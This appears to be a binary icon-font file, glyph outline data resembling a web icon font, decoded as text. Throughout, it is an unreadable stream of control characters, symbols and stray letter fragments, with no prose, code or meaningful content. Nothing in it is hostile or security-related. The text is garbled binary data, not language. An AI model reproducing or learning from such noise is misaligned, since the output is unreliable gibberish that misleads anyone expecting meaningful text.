_hQнQGB'(&*eozΘ@@`             >.  $$ ffff^aa fff^aa  >   "&#"#"&54>7654'&#!"#"&#"#"&54>765'46.'."&54632326323!27654'.5463232632,-,,",:!%]&%@2(/.+*)6!	<.$..**"+8##Q3,,++#-:#"</$)

w


,*

x9-.2"'
,,
@&,,
Qw
,     ,  #"+"&5#+"&5&'&'&547676)2%2$l$#l#b~B@XXyo2$CI@5$$>$$/:yuxv)%$ 	          / ? C G  %!5%2#!"&5463!5#5!52#!"&54632#!"&5463#5!5`&& &&  && &&&& &&@& && &  & && & & && &      %  2 &547%#"&632%&546 #"'6\~~\h
~\h\ V
VVV       % 5  $4&#"'64'73264&"&#"3272#!"&5463!2 }XT==TX}}~>SX}}XS>~}w@www~:xx:~}}Xx9}}9xX}@www        / > L X d s   .327>76 $&6$32762#"/&4762"/&47626+"&46;2'"&=462#"'&4?62E0l,
*"T.D@Yooo@5D

[		

Z
Z

		[	 ``[



Z

	2
,l0
(T".D5@oooY@D,

Z

		[			[		

Z
``EZ

		[		
         5  %!  $&66='&'%77'727'%amlLmf?55>fFtuutFLlLHYCL||LY˄(E''E*(           / ? I Y i y      %+"&=46;2+"&=46;2+"&=46;2+"&=46;2%"&=!#+"&=46;2+"&=46;2+"&=46;2+"&=46;2!54!54>$ +"&=46;2#!"&=@&&@3P>P3&&rrr&&rrr
he
4LKM:%%:MKL4WT&&            % / 9  ##!"&563!!#!"&5"&5!2!5463!2!5463!2&& &  & &&   &&& i@ &&@& 7         '#5&?6262%%o;j|/&jJ%p&j;&i&p/|jţ%Jk%o%      	  : g  "&5462#"&546324&#!"263662>7'&75.''&'&&'&6463!276i~ZYYZ~@OS;+[G[3YUD#o?D&G3I=JyTkBuhNV!WOhuAiSy*'^CC^'*SwwSTvvTSwwSTvvWID\_"[gq# /3qFr2/ $rg%4
HffHJ4   d       #!#7!!7!#5!VFNrmNNNN!     Y  + ? N e  %&'&'&7>727>'#&'&'&>2'&'&676'&76$7&'&767>76'6#<;11x#*#G,T93%/#0vNZ;:8)M:(	&C.J}2	%0 	^*
JF	
&7'X"2LDM"	+6
M2+'BQfXV#+]
#'
L/(eB9   
             # , 8  !!!5!!5!5!5!5#26%!!26#!"&5!5          &4& &pPPp        @@&&@!&@PppP@  *  	  9 Q  $"&54627"."#"&547>2"'.#"#"&5476$ "'&$ #"&5476$ (}R}hLK
NN
 Ud:
xx
8

 ,, |2222
MXXM
ic,>>,

		
̺
           ' / 7 ? K S c k {  4&"2$4&"2 4&"2 4&"2 4&"2 4&"2 4&"2 4&"24&"26 4&"24&#!"3!264&"2#!"&5463!2KjKKjKjKKjKjKKjKKjKKjKjKKjKjKKjKKjKKjKjKKjKLhLLhLKjKKj& && &KjKKjL44LL44L5jKKjKKjKKjKjKKjKjKKjKjKKjKjKKjKjKKjKjKKjK4LL44LLjKKjK && &&jKKjK  4LL4 4LL  	   ' E  !#"+"&7>76;7676767>'#'"#!"&7>3!2W",&7'	#$	&gpf5O.PqZZdS-V"0kqzTxD!!8p8%'i_F?;kR(`
!&)   '    
   (  2 !&6367 !	&63!2!
`B1LO(+#=) heCQg#s`f4#6q'X|0-g   	      > I Y  #6?>7&#!%'.'33#&#"#"/3674'.54636%#"3733#!"&5463!24:@7vH%hEP{0&<'VFJo1,1.F6A#L4 4LL4 4L"%	
 
7x'6O\JYFw~v^fH$ !"xdjD"!6`J 4LL4 4LL   	    + 3 @ G X c g q z     -<JX{  &#"327&76'32>54.#"35#3;5#'#3537+5;3'23764/"+353$4632#"$2#462#"6462""'"&5&5474761256321##%354&'"&#"5#35432354323=#&#"32?4/&54327&#"#"'326'#"=35#5##3327"327'#"'354&3"5#354327&327''"&46327&#"3=#&#"32?"5#354327&3=#&"32?"#3274?67654'&'4/"&#!"&5463!2_gQQh^_~\[[\]_^hQQge<F$$$ !!&&/!/!!00/e&'!"e$
		'!!''
	8''NgL4 4LL4 4LUQghQUk=<Sccc,-{kjUQhgQ9
,&W &$UK$$KK$$KDC(>("
!
=))=2( '! 'L#(>(&DC(>(zL#DzG)<) 4LL4 4LL    	  
    B W b j q }    +532%+5324&+32763#4&'.546327&#"#"'3265#"&546325&#"32!26 4&"2%#'#735#535#535#3'654&+353#!"&5463!29$<=$@?SdO__J-<AA@)7")9,<$.%0*,G3@%)1??.+&((JgfJ*A!&jjjGZYGиwsswPiL>8aA	!M77MM77M3!4erJ]&3YM(,
,%7(#),(@=)M%A20C&Mee(X0&ĖjjjV	8Z8J9N/4$8NN88NN      	       # & : O [   	$?b  3'7'#3#%54+32%4+324+323'%#5#'#'##337"&##'!!732%#3#3##!"&53733537!572!56373353#'#'#"5#&#!'#'#463!2#"5#"5!&+&+'!!7353273532!2732%#54&+#32#46.+#2#3#3##+53254&".546;#"67+53254&.546;#"#'#'##"54;"&;7335wY-AJF=c(TS)!*RQ+*RQ+Y,B^9^Ft`njUM')	~PS PRm٘M77Mo7q

@)U	8"E(1++NM77Mx378D62W74;9<-A"EA0:AF@1:ؗBf~~""12"4(w$#11#@}}!%+%5(v$:O\zK?*$\amcrVlOO176Nn<!E(=<&l/<<[ZZYY891767OO7==..//cV==::z,,,,aa,,7OO7Z::;;YfcW(		"6-!c(		!5	#
bt88176tV:
&$'*9	%e#:%'*9B<<;
&(        	    # : S n       #"&54632%#76;2#"&54632%4&+";2?>23266&+"&#"3267;2 4&+"'&+";27%4&+";2?>23266&+"&#"3267;254+";27#76;2#!"&5463!23%#2%%,, _3$$2%%M>ALVb5)LDHeE:<EMj,K'-RM ~M>ARVb5)LEHeE:<EJABI*'!($rL4 4LL4 4Lv%1 %3!x*k$2 %3!;5h
n
a
!(lI;F	
	
	rp
p8;5h
t
a
!(lI;F`	#k 4LL4 4LL   
  	  
  2 H W [ l t    #"'5632#6324&'.54327&#"#"&'32767#533275#"=5&#"'#36323#4'&#"'#753276 4&"24'&#"327'#"'&'36#!"&5463!2=!9n23BD$ &:BCRM.0AC'0RH`Q03'`.>,&I / * /

8/n-(G@5$ S3=,.B..B02^`o?7je;9G+L4 4LL4 4LyE%#	Vb;A!p &'F:Aq)%)#orgT$v2 8)2z948/{8AB..B/q?@r<7(g/ 4LL4 4LL        ?  #!"&'24#"&54"&/&6?&5>547&54626=L4@ԕ ;U g3

T
2RX='8P8|5
4Ljj U;Ig@
	
`
 "*\(88(]k
          & N  4#"&54"3	.#"#!"&'7!&7&/&6?&5>547&54626;U gIm*]Z0L4@ԕ=o=CT

T
2RX='8P8|5
 U;IgXu?bl3@4Ljja`
	
`
 "*\(88(]k         / 7 [  %4&+";26%4&+";26%4&+";26!'&'!+#!"&5#"&=463!7>3!2!2 @@ @@ @@0

o`^BB^`5FN(@(NF5@@@u		@LSyuS@%44%     , < H  #" 54 32+"=4&#"326=46;2  >.  $$ ~Isy9"SgR8vHD	w
ffff^aam2N+	)H-mF+10*F		+fff^aa        b  4&#"32>"#"'&'#"&54632?>;23>5 !"3276#"$&6$3  k^?zb=ka`U4J{K_/4^W&	vx :XB0܂ff)
fzzXlz=lapzob35!2BX
G@8'	'=vN$\ff	1	SZz8zX          # (   "/+'547'&4?6276	'D^h



i%5 @%[i



h]@ ]h



i%@ 5%[i



h^@@       )  2 #"&5476 #".5327>OFi-ay~\~;'S{s:D8>)AJfh ]F?X{[TC6LlG]v2'"%B];$         - o     %!2>7>3232>7>322>7>32".'.#"#"&'.#"#"&'.#"#546;!!!!!32#"&54>52#"&54>52#"&54>52  -P&+#($P.-P$'#+&PZP&+#"+&P-($P-.P$(#+$P.-P$'#+&P-.P$+#pP@     @Pp H85K"&Z H85K"&Z H85K"&Z@Pp@@@pMSK5, :&LMSK5, :&LMSK5, :&        !!3	!	    @  @@           	#"$$3!!2 "jaѻxl alxaa j         !!3/"/'62'&63!2   'y

`I

y My

`I

y'       W `  #".'.#"32767!"&54>3232654.'&546#&'5&#"

4$%Eӕ;iNL291 ;XxR`f՝Q8TWiWgW:;*:`Qs&?RWXJ8oNU0J1F@#)
[%6_POQiX(o`_?5"$iʗ\&>bds6aP*< -;iFn*-c1B       W g  4'.'4.54632#7&'.#"#"'.#"32767'#"&54632326#!"&5463!2#$(	1$6]'
!E3P|ad(2S;aF9'EOSej]m]<*rYshpt.#)$78L*khw@wwwB
%$/$G6
sP`X):F/fwH1pdlqnmPHuikw_:[9D'@www            3   4."2>$4.#!!2>#!".>3!2QнQQнQQh~wwhf ff нQQнQQнQZZQffff           #  >3!2#!".2>4."f ff нQQнQQffffQнQQн      	      , \  !"&?&#"326'3&'!&#"#"'     5467'+#"  327#"&463!!'#"&463!2632(#AHs9q  ci<=
#]<OFA!re&&U&& ![eF U?g4_a?b+r7&4&&4&p,           + K   4&"2$4&"2.#!"3!264&#!"3!2#"&=!"&=#47>$ KjKKjKKjKKjH#j#H&&&KjK KjKg	V	ijKKjKKjKKjK..n(([5KK55KK5[poNv<<vN:f      . R   #!"&463!24'!"&5463!&$#"!2#!32>+#" '#"&546;&546$32 322$B$22$$*$22$Xڭӯ$22$tX'hs2$ϧkc$22$1c$2F33F3VVT2#$2ԱVT2#$2g#2UU݃
2$#2UU1݃2         , u   54#"67.632&#"32654'.#"32764.'&$#"7232&'##"&54732654&#"467&5463254632>32#"'&ru&9%"*#͟ <yK0Og" &9B3;㛘8s%+DWXRD= @Y%	!Q6R!4M8+6rU^z=)RN.)C>O%GR=O&^opC8pP*bY
_#$N Pb@6)?+0L15"4$.Es
5IQ"!@h"Y7e|J>ziPeneHbIlF>^]@n*9         6 [ _  3#"&54632#.#"32%3#"&54632#.#"326%4&'.'&! ! 7>7>!=39?
6'_>29?
5'17m-VU--,bW. 뮠@Fyu0HC$뮠@Fyu0HC$L=??<=! A	<          `  ;  +"&54&#!+"&5463!2#!"&546;2!26546;2pЇ0pp@I pp        > S c  +"&=46;254&+"&+";2=46;2;2=46;2;2%54&#!";2=;26#!"&5463!2A5DD5A7^6a7MB55B7?5B~```0`rr5A44A5v5AA5f*A``0`       	   !!!!	#!"&5463!2ړ7H7jv@vvv'  :@vvv          M U a h m r x                  #"'!"'!#"&547.547.54674&547&54632!62!632!#!627'!%!"67'#77!63!!7357/7'%#	%'3/&=&'	5#?&5476 !p4q"""6" 'h*[|*,@?wAUMpV@˝)Ϳw7({*U%K6=0(M		"!O		dX$k
!!!b	
[TDOi
@6bxBAݽ5ɝ:J+3,px1Fi
(R         463!#!"&5%'4&#!"3`а@..@A-XfB$.BB..C     } 
   )   &54$32 &'  % &&'6 7"w`Rd]G{o]>p6sc(@wgmJPAjyYWa͊AZq{HZ:<dv\gx>2ATKn       + ;  "'&#"&#"+6!263 2&#"&#">3267&#">326e~└Ȁ|隚Ν|ū|iyZʬ7Ӕްr|uѥx9[[9jj9ANN+,#ll"BS32fk     [   / ? \  %4&+";26%4&+";26%4&+";26%4&+";26%#!"&5467&546326$32]]eeeeee$~i
qfN-*#Sjt2"'qCB8!   '  >    	      ! % ) - 1 5 9 = A E I M Q U Y ] a g k o s w {           !	%!	5!#5#5#5#5#57777????#5!#5!#5!#5!#5!#5!#5!#5#537#5!#5!#5!#5!#5!#55#535353535353%"&546326#"'#32>54.&54>3237.#" Q%%%%%%%%%?iiihOiixiiyiixiiArssrrssr%sssrrssNs%%%%%%%%%%'<D<'paC_78#7PO7)("I$	75! RAb(ssssssssss"/!".""."!."".!/^.".^.".]/".$$$$$$$$$$$$$$$$Os$$$$$$$$$$$$$$sO$sssssssssss#}$)	13?*
,./:
-      s    *   4&"2$4&"2#!"&5463!2!5463!2_?--??-,@@,-?pq8,??,D,??,,??      (    Z  2#".#"3267>32#".54 3232654&#"#"&54654&#"#"&547>326ڞUzrhgrxSПdU <ex՞Zf_gן:k=2;^9Œ7\xx\7K=5XltֆWW{e_%N%,%CI%      # + W   4&+54&"#";26=32 "&462"&462!2#!"&54>7#"&463!2!2&&4&&&&4&KjKKjKjKKj && &%&& &&4&&&&4&&&5jKKjKKjKKjK %z
0&4&&3D7&4&%&          ' S   4&"4&"'&"27 "&462"&462!2#!"&54>7#"&463!2!2 &4&4&4& 4 KjKKjKjKKj && &%&& &&4&%&&ے&4  "jKKjKKjKKjK %z
0&4&&3D7&4&%&           	    &  	!'!	!%!!!!%"'.763!2o]FooZY@:@!! gf /  /      I    62'"/"/"/"/"/"/"/7762762762762762762%"/77627&6?35!5!!3762762'"/"/"/"/"/"/%5#5!4ZSS6SS4SS4SS4SS4SS4SS4ZSS4SS4SS4SS4SS4SS4S-4ZSS4S@   4SS4ZSS6SS4SS4SS4SS4SS4S@ ZSSSSSSSSSSSSSSZSSSSSSSSSSSSSyZRRR@%:=
:+:
=RRZSSSSSSSSSSSSS         C v  !/&'&#""'&#"	32>;232>7>76#!"&54>7'3&547&547>763226323@``` 
VFaaFV
$.

.$yy	.Q5ZE$ ,l<l, $ER?Y*@@2	!#""#!	yy=rna@@(89*>*%>>%*>*98(QO!       L \ p  '.'&67'#!##"  327&+"&46;2!3'#"&7>;276;2+6267!"'&7&#"(6&#"#"'DgOOG`n% ELL{@&&Nc, sU&&!Fre&&ss#/,<=
#]gLoGkP'r-n&4&2-ir&&?o 4_      5 O W  ! .54>762>7.'.7>+#!"&5#"&5463!2"&462{{BtxG,:`9(0bԿb0(9`:,GxtB&@& &@&K55K`?e==e?1O6#,
#$
,#6OO&&&&5KK      ?  !"'&'!2673267!'.."!&54632>32 1
4q#F""8'go#-#,"tYg>oP$$Po> 	Zep#)R0+I@$$@I+     + 3   32++"&=#"&=46;.7>76$     @ᅪ* r@@r      ' /  2+"&5".4>32!"&=463      &@~[՛[[u˜~gr&`u՛[[՛[~~@r         = E   32++"&=#"&=46;5& 547&'&6;22676;2      >``@``ٱ?E,,=?rH@``@GݧH`jjr     B J  463!2+"&= 32++"&=#"&=46;5.76 76%#"&5        &@~``@`` vX r&@``@+BF`r       k s  463!2+"&= 32++"&=#"&=46;5& 547'/.?'+"&5463!2+7>6 %#"&5        &@~``@``~4e	
0
	io@& jV	
0
	Z9 r&@``@Gɞ5o
,
sp &@k^
,
c8~~`r       8 > K R _  32++"&=!+"&=#"&=46;.76 766 6'27&547&#"  &'2  #"@ @'Ϋ'sggsww@sgg@@-ssʃl99OOr99     F P ^ l  463!2+"&= $'.7>76%#"&=463!2+"&=%#"&54'>%&54 7.#" 2 54&'   &@L?CuГP	vY  &@;"  ޥ5݇ޥ5`&_ڿgwBF@&J_	s&&?%x%x      J P \ h  463!2+"&= '32++"&=#"&=46;5.76 76632%#"&56'  327&7&#"2  #" &@L? ߺu``@``}ຒɞ  ueeu9uee&_"|N@``@""|a~lo99r9@9       ; C  2+"&5"/".4>327'&4?627!"&=463      &@Ռ		.	
N~[՛[[u˜N		.	
gr&`֌
	.		Ou՛[[՛[~N
	.		@r       9 A   '.'&675#"&=46;5"/&4?62"/32+     '֪\
	.		4		.	
\r|ݧ憛@\		.	

	.		\@r     ~ 9 A  "/&4?!+"&=# #"$7>763546;2!'&4?62      m		-

@ݧ憛@&

-		@rm4

-		ٮ*		-

r           +"&5& 54>2      @[՛[rdGu՛[[r                 ".4>2 r[՛[[՛r5՛[[՛[[      $  2#!37#546375&#"#3!"&5463#22#y/Dz?s!#22#2##2S88	2#V#2        L  4>32#"&''&5467&5463232>54&#" #"'.Kg&RvgD
$*2%	+Z hP=DXZ@7^?1۰3O+lh4`M@8'+c+RI2
\ZAhSQ>B>?S2Vhui/,R0+	ZRkm      z  + > Q   2#"'.'&756763232322>4."7 #"'&546n/9bLHG2E"D8_
pdddxO"2xxê_lx2X	
!+'5>-pkW[CI
I@50Oddd˥Mhfxx^ә  	           # ' + /  7!5!!5! 4&"2!5! 4&"24&"2!!!     8P88P   8P88P88P88P     P88P8 P88P88P88P8          + N    &6 !2#!+"&5!"&=463!46;23!#!"&54>32267632#"_>@`` L4 Dgy 6Fe=OOU4L>``4L2y5eud_C(====`L4       3 V    &6 #"/#"/&54?'&54?6327632#!"&54>32 7632_>																%%Sy 6Fe=J%>																%65%Sy5eud_C(zz.!6%          $  !2!!!46;2 4&"2!54&#!" &   &&@ԖV@& &@  &&ԖԖ@&             3!!!	!5!'!53!!	# 7IeeI7 CzC l @@  @            #  2#!"&?.54$3264&"!@մppp  ((ppp              # + /  2#!"&?.54$3264&"! 264&"!@մ^^^@^^^@ ((^^^  ^^^         v    (  #"'%.54632	"'% 	632U/@k0G,zD#[k#
/t g
FGz        	#'#3!)
p*xe 0,\8     T   # / D M %2<GQ^lw  &'&676676&'&7654&'&&546763"#"'3264&7.>&'%'.767&7667&766747665"'.'&767>3>7&'&'47.'.7676767&76767.'$73>?>67673>#6766666&'&6767.'"'276&67&54&&671&'6757>7& "2654&57>&>&'5#%67>76$7&74>=.''&'&'#'#''&'&'&'65.'&6767.'#%&''&'#2%676765&'&'&7&5&'6.7>&5R4&5S9W"-J0(/rV"-J0(.)#"6&4pOPppc|o}vQ[60XQW1V	#5X		N"&.
)
D>q J:102(z/=f*4!>S5b<U$:I o<G*	,&"O	X5
#!
	R N#C83J*R	!(D#%37	;$-.(,覦6ij
	")9
E%!B83
	j96/,	:QD')yX#63Vba	,
UeLPA@*	̳`Xx*&E
V36%	B3%	B3XA	#!.mU"A	#!.mUB-#2+Jiiim-C<I(m8qF/*)0S
		
I
E5&+>!%
(!$p8~5..:5I~T
4~9p# !
)& ?()5F	1		
 d%{v*: @e
s|D1d {:*dAA|oYk'&<tuut&vHCXXTR;w71Z*&'1	9?	.$Gv5k65P<?8q=4a	SC"1#</6B&!ML	^;6k5wF1<P    C	   ;  $"&462"&46232>.$.`aasa``Z9k'9؋ӗa-*Gl|Me_]`F&OܽsDD!/+``aa``a1<YK3(
 /8HQelAZ3t_fQP<343J;T7Q           + ? K g w     $6&$  $&62+"5432+"&=.54  $;26=462;26=4& 4&#!"3!26)߄4R4߄mlLr {jK#@#Qa^@@`&&&&߄4R4ĎLlLN @K5#:rr:#5K^aa``]]`` && &&       	     /  !3#4&#!"3!265##!"&5463!22 @ K5^BB^^B@B^5K    @5KB^^BB^^BK        	     /  !2##!"&5463!2#4&#!"3!265  5KK5^BB^^B@B^@   K55KB^^BB^^B` @      	     /  !2##!"&5463!2#4&#!"3!265  5KK5^BB^^B@B^@   K55KB^^BB^^B` @      	     /  !2##!"&5463!2#4&#!"3!265  5KK5^BB^^B@B^@   K55KB^^BB^^B` @      	    +  2##!"&5463!2#4&#!"3!2655KK5^BB^^B@B^@K55KB^^BB^^B` @    {    #!&'#"'&547632m*
0(('($0K
**      %   3#!3# '!#53 5#534!#53 6!3@@@@pp@@@@@pp@`     	          + / 7 ; A  #3!5!!3#!!5!35!355#%53#5!#35#!!!!!!!!                           
   	    # ' + / 3 ? C G W  #3!5!!35!!3#!!5!#!5!3535!355#%#3%!53#5!#35#!5##5!3!5!3!5	               !"&5463!2!"! `(88(@(8`(8}22R `8(@(88(`8HR22         #  #6?6%!!!46#!"&5463!2x  8(`( (88(@(8 
  (8 (`(8(@(88      	    ' A T d   +5326+5323##"' %5&465./&76%4&'5>54&'"&#!!26#!"&5463!2

iLCly5)*Hcelzzlec0hb,,beIVB9@RB9J_L4 4LL4 4L44%2"4:I;p!q4bb3p(P`t`P(6EC.7BI6 4LL4 4LL    	     . >  $4&'6 #".54$ 4.#!"3!2>#!"&5463!2Zjbjj[wٝ]>oӰٯ*-oXL4 4LL4 4L')꽽)J)]wL`ֺ۪e 4LL4 4LL           ;  4&#!"3!26#!"&5463!2#54&#!";#"&5463!2@^BB^^B@B^B^^B@B^`@MB^^B@B^^>^B@B^^         5 = U m  	!	!!2#!"&=463!.'!"&=463!>2!2#264&"".54>762".54>762  ?(``(?b|b?B//B/]]FrdhLhdrF ]]FrdhLhdrF@@@(?@@?(@9GG9@/B//BaItB!!BtIѶ!!ьItB!!BtIѶ!!ь        - M  32#!"&=46;7&#"&=463!2#>5!!4.'.46ՠ`@`ՠ`MsF FsMMsF FsMojjo@@jj@@<!(!!(!        - 3 ?  32#!"&=46;7&#"&=463!2+!!64.'#ՠ`@`ՠ` 		DqLLqDojjo@@jj@@B>=C          - 3 ;  32#!"&=46;7&#"&=463!2+!!6.'#ՠ`@`ՠ` UVU96gg6ojjo@@jj@@β**ɍ        - G  32#!"&=46;7&#"&=463!2#>5!!&'.46ՠ`@`ՠ`MsF FsMkkojjo@@jj@@<!(!33!(!          9 I  2#!"&=4637>7.'!2#!"&=463@b":1P4Y,++,Y4P1:"":1P4Y,++,Y4P1:"b@@@7hVX@K-AA-K@XVh77hVX@K-AA-K@XVh7         A j  "#54&#"'54&#"3!26=476=4&#"#54&'&#"#54&'&'2632632#!"&5&=4632>326 5K @0.B @0.B#6'&&
l
@0.B 2'	.B A2TA9B;h" dmpPTlLc_4.HK5]0CB.S0CB./#'?&&)$$)0CB. }(AB.z3M2"61d39L/PpuT(Ifc_E       `  1 X   "#4&"'&#"3!267654&"#4&"#4&26326#!"&'&5463246326\B B\B&@5K&@"6LB\B B\B sciL}QP<m$3jN2cB.p.BB. 3K5+" 3," .BB..BB..G=ci(+lOh7/ DVj"c=        & 5 J b   #"'&=.547!"&46;'.54632!2327%.54&#"327%>%&#"!"3!754?27%>54&#!26=31?>Ijjq,J[j.-tjlV\$B.R1?@B.+?2`$v5K-%5KK5.olRIS+6K5̈$B\B 94E.&ʀ15uE&
ԖPjjdXUGJ7!.B

P2 .B
%2@	7K5(B@KjKj?+f UE,5K~!1.>F.F,Q5*H          $ b  2#!"&=%!"&=463!7!"&'&=4634'&#!">3!!"3!32#!"3!23!26=n$<vpPPpPpw*RdApP]'@A&
3@&H-[(8@
2EB^&1=&& 81PppPpP wcOg Ppc4& #.& &,,:8(%^B &.&&       2 t  "&'&54'&5467>32>32>32#"#.#"#.#"3!27654&#"547654&#"#654&Myet|]WSSgSY\x{
70"1i92DU1&=		=&0@c	>&/Btd4!*"8K4+"@H@/'=	t? _K93-]
UlgQQgsW
]# +i>p&30&VZ&0B/%3B."to ){+C4I(/D0&p0D      3 [ _ c g  "'&#"3!2676=4&"#54&#"#54&#"#4&'2632632632#!"&'&5463246#!#!#5K)B4J&@#\8P8 @0.B J65K J6k
cJ/4qG^\hB2<m$3iG;     K5 6L4+" 3p`b)<8(=0CB.@Z7OK5`:7OkEW^tm@Q7/ DVi##j       % 4 I a   2#!"&5&546325462632"32654&"3267654&76;74&"#.#"2676=#"&'+53264&#!"3</UXdjjPԖEu!7JG72P

B%
B.!7	@Af+?jKjK@B(5K,EUH*5Q,F.F>.1!~K5y?^\Vljt-.j[J,qjjI7$?1R.B+.B$`2?gvEo.5KK5%-K6+SIR[&.E49 B\B$5K           G  #!+"&5!"&=463!2+"&'+"'+"'&5>;2>76;2YM	
.x	-
	N	

	u,u
?
LW

#	          	 * : J  4'&+326+"'#+"&5463!2  $6&  $&6$ <!T{BH4	&>UbUI-uu,uuڎLlLAX!Jmf\$
6uuu,KLlL        - [ k {  276/&'&#"&5463276?6'.#"!276/&'&#"&5463276?6'.#"  $6&   $&6]h-%Lb`J%E5,5R-h
-%Lb`J%E5,5R-'uu,uulL/hRdMLcNhRdMLcN1uuu,LlL   @     	'	7	'7	``H ``H !``H  ```H`            '  %		7'	7'7	'  $&6$ X`(W:,:X`(WLLlLX`(W:BX`(XLlL 
  	 $    % / 9 E S [   #"&54632$"&4624&"26$4&#"2%#"&462$#"&4632  #"32&! 24>      !#"&'.'#"$547.'!6$327&'77'&77N77N'qqqqqPOrqEsttsst}||}uԙ[WQ~,>	nP/RU P酛n	>,m'77'&77N77N6^Orqqqqqqt棣棣(~||on[usј^~33pc8{y%cq33dqp  f   	  L     54    "2654"'&'"/&477&'.67>326?><
x
,(-'sIVCVHr'-(
$0@!BHp9[%&!@0$u

]\\]-$)!IHVDVHI!)$-#3      6 > N   "&462."&/.2?2?64/67>&  #!"&5463!2]]]3
$;
&|v;$
(CS31	=rM=	4TC(Gzw@www]]]($-;,540=	sL	=45,;@www       (  2#"$&546327654&#"	&#"AZ\@/#%E1/##.1E$![A懇@@\!#21E!6!E13"|!     	 g L   &5& '.#4&5! 67&'&'5676&'6452>3.'5 A5RV[t,G'Q4}-&<C!l n?D_@Փ>r!G;>!g12sV&2:#;d=*'5E2/..FD֕71$1>2F!&12,@K       
  r    #"&5462>%.#"'&#"#"'>54#".'7654&&5473254&/>7326/632327?&$  $6 $&6$ !&"2&^	u_x^h;J݃HJǭqE
Dm!MG?̯'%o8
9U(F(ߎLlL&!&!SEm|[n{[<ɪ
"p C
Di%(KHCέpC
Bm8	@KނHF(LlL         " *  6%&6$	7&$5%%6'$2"&4}x3nQH:dΏXe8 z'	li=!7So?v      M    '&7>>7'7>''>76.'6' El:Fgr*t6K3UZ83P)3^I%=9	)<}Jk+C-Wd	&U -TE+]Qr-<Q#0
C+M8	3':$_Q=+If5[ˮ&&SGZoMk ܬc         # 7  &#"327#"'&$&546$;#"'654'632եfKYYKf¥yͩ䆎L1hvvƚwwkn]*]nlxDLw~?T8bb9SA}       + 5 ? F  !3267!#"'#"4767% !2$324&#"6327.'!.#" ۔c28Ψ-\? @hU0KeFjTlyE3aVsz.b؏W80]TSts<hO_u7bBtSbF/o|V]SHކJ        3  4&#!"3!26#!!2#!"&=463!5!"&5463!2 @^B `` B^^B@B^ @@B^@@^BB^^       >  3!"&546)2+6'.'.67>76%&F8$.39_0DD40DD0+*M7{L *="#
U<-M93#D@U8vk_Y	[hD00DD00Dce-JF1BDN&)@/1 d      y  % F    #"'&'&'&'&763276?6#"/#"/&54?'&763276"&'&'&5#&763567632#"'&7632654'&#"32>54'&#"'.5463!2#!3>7632#"'&'&#"'&767632yqoq>*432fba
$B?
	>B
BBAA.-QPPR+	42
%<ciђ:6&hHGhkG@n`IȌ5
!m(|.mzyPQ-.		je	q>@@?ppgVZE|fb6887a
%RB?
=B
ABBAJvniQP\\PRh!cDS`gΒ23geFGPHXcCI_ƍ5"	
n*T.\PQip[*81
/9@:       > t   %6#".'.>%6%&7>'.#*.'&676./&'.54>754'&#"%4>327676=>vwd"
l"3	/!,+	j2.|%&(N&wh>8X}xc2"W<4<,Z~fdaA`FBIT;hmA<7QC1>[u])		u1V(k1S)
-	0B2*%M;W(0S[T]I)	A 5%R7<vlR12I]O"V/,b-8/_        # 3 C G k  2#!"&546;546;2!546;2%;2654&+";2654&+"!32++"&=#"&=46;546;2 4LL44LL4^B@B^^B@B^ @@ @@ @@ L4 4LL4 4L`B^^B``B^^B``    @@@          # 3 W  #!"&=463!2!!%4&+";26%4&+";26%#!"&546;546;2!546;232@ @@ @@L44LL4^B@B^^B@B^4L@@   N 4LL4 4L`B^^B``B^^B`L       # ' 7 G k  %"/"/&4?'&4?62762!!%4&+";26%4&+";26%#!"&546;546;2!546;232W.	

	.				.	

	.			 @@ @@L44LL4^B@B^^B@B^4L.				.	

	.				.	

   N 4LL4 4L`B^^B``B^^B`L         ( 8 \  	"'&4?6262!!%4&+";26%4&+";26%#!"&546;546;2!546;232 

		.	

	.	`@@ @@L44LL4^B@B^^B@B^4L< 		 
	.				.	:   N 4LL4 4L`B^^B``B^^B`L         2632632#!"&5463&&&&&& &&&&&&         #   27+"&5     %264&#"26546>&&T,X q&&1X,LΒw     %    % ;  #!"&5463!546;2!2!+"&52#!"/&4?63!5!

(&&@&& ( &&@&&(

(  

& &@&&@ &&& &

        # '  '%#"'&54676%6%%
hh @` !  !  


         # 5  2#"&5476!2#"&5476!2#"'&546      @  @   
@ 
             8   4&"2$4&"2$4&"2 #"'&'&7>7.54$ KjKKjKjKKjKjKKjdne4"%!KjKKjKKjKKjKKjKKjK.٫8
!%00C'Z'             . W   "&462"&462"&462 6?32$6&#"'#"&'5&6&>7>7&54>$ KjKKjKjKKjKjKKjhяW.{+9E=cQdFK1A
0)LlLjKKjKKjKKjKKjKKjKpJ2`[Q?l&٫C58.H(Yee   	    
   			        Y'w(O'    R@ $   #"&#"'>7676327676#"
b,XHUmM.U_t,7A3gez9@xSaQBLb(	VU         
  !!!  == w)          A U  !!77'7'#'#274.#"#32!5'.>537#"76=4>5'.465!  KkkK_5 5 #BH1`L
I&v6SF !Sr99rS!`` /7K%s}HXV
PV	e		V    d   / 9 Q [   $547.546326%>>32"&5%632264&#"64'&""&'&"2>&2654&#" ;2P3>tSU<)tqH+>XX|Wh,:UStW|XX>=X*
))
+^X^|WX=>X:_.2//a:Ru?
	Q%-W|XW>J(	=u>XX|WX`

*((*


+2		2X>=XW|    E  0  3>$32!>7'&'&7!6./EUnohiI\0<{ >ORDƚ~˕VƻoR C37J6I`Tb<^M~M8O     	  	     5!#!"&!5!!52!5463	 ^B@B^  `B^ ^B `B^^"^BB^         0 ;  %'#".54>327&$#"32$	 !"$&6$3  ##320JUnLnʡ~~&q@tKL}'` -
-oxnǑUyl}~~FڎLlLt`(88(           	7!'	!\W\d;tZ`_O;        }  54+";2%54+";2!4&"!4;234;2354;2354>3&546263232632#"&#"26354;2354;2354;2`` `` pp``` !,! -&M<FI(2```@PppPpppppp#  #
ppppp     	  j  #"'&=!;5463!2#!"&=#".'.#!#"&463232>7>;>32#"&'#"!546	%. `@` :,.',-XjjXh-,'.,: kb>PppP>bk .%Z &
:k%$> $``6&L')59I"TlԖlT"I95)'L&69GppG9$ >$%k:            !   +32 &#!332  $&6$ ~O88OLlL>pNiLlL   	 ' ' : M a  4&'#"'.7654.#""'&#"3!267#!"&54676$32 #"'.76'&>$#"'.7654'&676mD5)
z{6lP,@KijjOoɎȕ>>[ta)GG4?a )ll>;_-/
9GH{zyN@,KԕoN繁y!?hh>$D">â?  $   	 n  "&5462'#".54>22654.'&'.54>32#"#*.5./"~~s!m{b6#	-SjR,l'(s-6^]Itg))[zxȁZ&+6,4$.X%%Dc*
&D~WL}]I0"
YYZvJ@N*CVTR3/A3$#/;'"/fR-,&2-"7Zr^Na94Rji3.I+

